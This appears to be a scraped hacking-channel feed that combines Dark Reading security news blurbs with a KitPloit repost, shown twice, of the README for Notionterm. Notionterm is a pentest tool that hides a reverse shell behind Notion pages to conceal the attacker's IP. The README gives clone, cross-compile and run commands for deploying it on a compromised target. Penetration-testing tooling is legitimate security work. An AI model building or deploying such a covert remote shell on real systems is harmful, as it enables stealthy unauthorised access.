Dark Reading: Attacks/Breaches
Microsoft Philanthropies Collaborates With WiCyS to Help Close the Cybersecurity Skills Gap

Microsoft Philanthropies is expanding its cybersecurity skills for jobs campaign to 23 countries and partnering with Women in CyberSecurity (WiCyS) to build a cybersecurity workforce that is not just larger but also more diverse.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Phishers Having a Field Day on WhatsApp, Telegraph

A pair of phishing campaigns against users of WhatsApp and Telegram's Telegraph expose them to extortion, credential harvesting, and even account takeover.

Dark Reading: Attacks/Breaches
Intel Chipset Firmware Actively Targeted by Conti Group

Conti threat actors are betting chipset firmware is updated less frequently than other software — and winning big, analysts say.

Dark Reading: Attacks/Breaches
New Cloud Pricing and Products Proof of RSA’s Transformation

RSA pivots to exclusive focus. Identity is once again the ‘beating heart’ of RSA.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Gurucul Launches Cloud-Native SOC Platform Pushing the Boundaries of Next-Gen SIEM and XDR with Identity Threat Detection and Response

Gurucul automating threat detection, investigation and response (TDIR) with advanced analytics, comprehensive threat content, and a flexible enterprise risk engine for hybrid and multi-cloud environments.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Research Reveals 75% of CISOs Are Worried Too Many Application Vulnerabilities Leak Into Production, Despite a Multi-Layered Security Approach

79% of CISOs say continuous runtime vulnerability management is an essential capability to keep up with the expanding complexity of modern multi-cloud environments.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cerberus Sentinel Completes Acquisition of Creatrix, Inc.

U.S. cybersecurity services firm expands security and identity management services with woman-owned business.

___________________________
@hacking_Attack
@Hacking_Video

Notionterm - Embed Reverse Shell In Notion Pages
http://www.kitploit.com/2022/06/notionterm-embed-reverse-shell-in.html

___________________________
@hacking_Attack
@Hacking_Video

Embed reverse (https://www.kitploit.com/search/label/Reverse) shell in Notion (https://www.notion.so/) pages.
Hack while taking notes 🖥️📖 Embed reverse shell in Notion pages (5)">

___________________________
@hacking_Attack
@Hacking_Video

FOR: Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell) Demo/Quick proof insertion within report High available and shareable reverse shell (desktop, browser, mobile) Encrypted and authenticated remote (https://www.kitploit.com/search/label/Remote) shell NOT FOR: Long and interactive shell session (see tacos (https://github.com/ariary/tacos) for that)
Why? The focus was on making something fun while still being usable, but that's not meant to be THE solution for reverse shell in the pentester's arsenal How? Just use notion as usual and launch notionterm on target. Requirements Notion software and API key Allowed HTTP communication from the target to the notion domain Prior RCE on target
roughly inspired by the great idea of OffensiveNotion (https://github.com/mttaggart/OffensiveNotion) and notionion (https://github.com/ariary/Notionion)! Quickstart Set-up Create a page and give to the integration API key the permissions to have page write access Build notionterm and transfer it on target machine (see install (https://github.com/ariary/notionterm#install))
Run There are 3 main ways to run notionterm: "normal" mode
Get terminal, stop/unstop it, etc... notionterm [flags]
Start the shell with the button widget: turn ON, do you reverse shell stuff, turn OFF to pause, turn ON to resume etc... "server" mode
Ease notionterm embedding in any page notionterm --server [flags]
Start a shell session in any page by creating an embed block with URL containing the page id (CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID]. light mode
Only perform HTTP traffic (https://www.kitploit.com/search/label/Traffic) from target → notion notionterm light [flags] Install As notionterm is aimed to be run on target machine it must be built to fit with it. Thus set env var to fit with the target requirement: GOOS=[windows/linux/darwin] Simple build git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go You will need to set API key and notion page URL using either env var (NOTION_TOKEN & NOTION_PAGE_URL) or flags (--token & --page-url) "All-inclusive" build Embed directly the notion integration API token and notion page url in the binary. everybody with access (https://www.kitploit.com/search/label/Access) to the binary (https://www.kitploit.com/search/label/Binary) can retrieved the token. For security reason don't share it and remove it after use. Set according env var: export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN] And build it: git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go


Download Notionterm (https://github.com/ariary/notionterm)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Notionterm - Embed Reverse Shell In Notion Pages

https://blogger.googleusercontent.com/img/a/AVvXsEhJ9iwaL3IPcQi0zGw-dDSkJE8XvX_ACXFbN2RQNMPDJmay1_sgzvLY18gyKKBT-1-KoePezecaHZ57jjoFA2ERn8JMm61ww9OjMXYUU0PFnp069JkQkW3T5FP2mfUvC-VD1gqF4Yzbr_U273-BgsN1UzBf5BQnvUux66p0lTR4xdWZdfH6CLbcALjw=s16000 Embed reverse shell in Notion pages. Hack while taking noteshttps://blogger.googleusercontent.com/img/a/AVvXsEi6NULMA7E_OfBs-9kdWxPkgOi0Wrz9sqK7AboUzTCtWQgKtBuShfLvP5rW0ZHsCQ0fYGIEfHHhrB4aJiWRb9xLpol36fVC00DkGmwPgzB6wXWBiAxK7V9prtiiZVSCWPOR0DIMV5hX7CsNS8muu3FcxqyCBeBi9yiepT-apcRQBz6aElJB2nP-hMcS=w640-h428 FOR:* Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)* Demo/Quick proof insertion within report
* High available and shareable reverse shell (desktop, browser, mobile)
* Encrypted and authenticated remote shell NOT FOR:* Long and interactive shell session (see tacos for that) Why?The focus was on making something fun while still being usable, but that's not meant to be THE solution for reverse shell in the pentester's arsenal How?Just use notion as usual and launch notiontermon target. Requirements* Notion software and API key
* Allowed HTTP communication from the target to the notion domain
* Prior RCE on target
roughly inspired by the great idea of OffensiveNotion and notionion! QuickstartSet-up1. Create a page and give to the integration API key the permissions to have page write access
2. Build notiontermand transfer it on target machine (see install) RunThere are 3 main ways to run notionterm: "normal" modeGet terminal, stop/unstop it, etc...notionterm [flags] Start the shell with the button widget: turn ON, do you reverse shell stuff, turn OFFto pause, turn ONto resume etc... "server" modeEase notionterm embedding in any pagenotionterm --server [flags] Start a shell session in any page by creating an embed block with URL containing the page id (CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID]. lightmodeOnly perform HTTP traffic from target → notionnotionterm light [flags] InstallAs notiontermis aimed to be run on target machine it must be built to fit with it.

Thus set env var to fit with the target requirement: GOOS=[windows/linux/darwin]Simple buildgit clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.goYou will need to set API key and notion page URL using either env var (NOTION_TOKEN & NOTION_PAGE_URL) or flags (--token & --page-url) "All-inclusive" buildEmbed directly the notion integration API token and notion page url in the binary.

everybody with access to the binary can retrieved the token. For security reason don't share it and remove it after use.
Set according env var: export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]And build it: git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go Download Notionterm

___________________________
@hacking_Attack
@Hacking_Video

Daily Cyber Brief
https://www.reddit.com/r/redteamsec/comments/v3m6hl/daily_cyber_brief/

submitted by /u/RandyMarsh_Lorde (https://www.reddit.com/user/RandyMarsh_Lorde)
[link] (https://www.overtoperator.com/p/daily-cyber-brief-ea4?s=w) [comments] (https://www.reddit.com/r/redteamsec/comments/v3m6hl/daily_cyber_brief/)

___________________________
@hacking_Attack
@Hacking_Video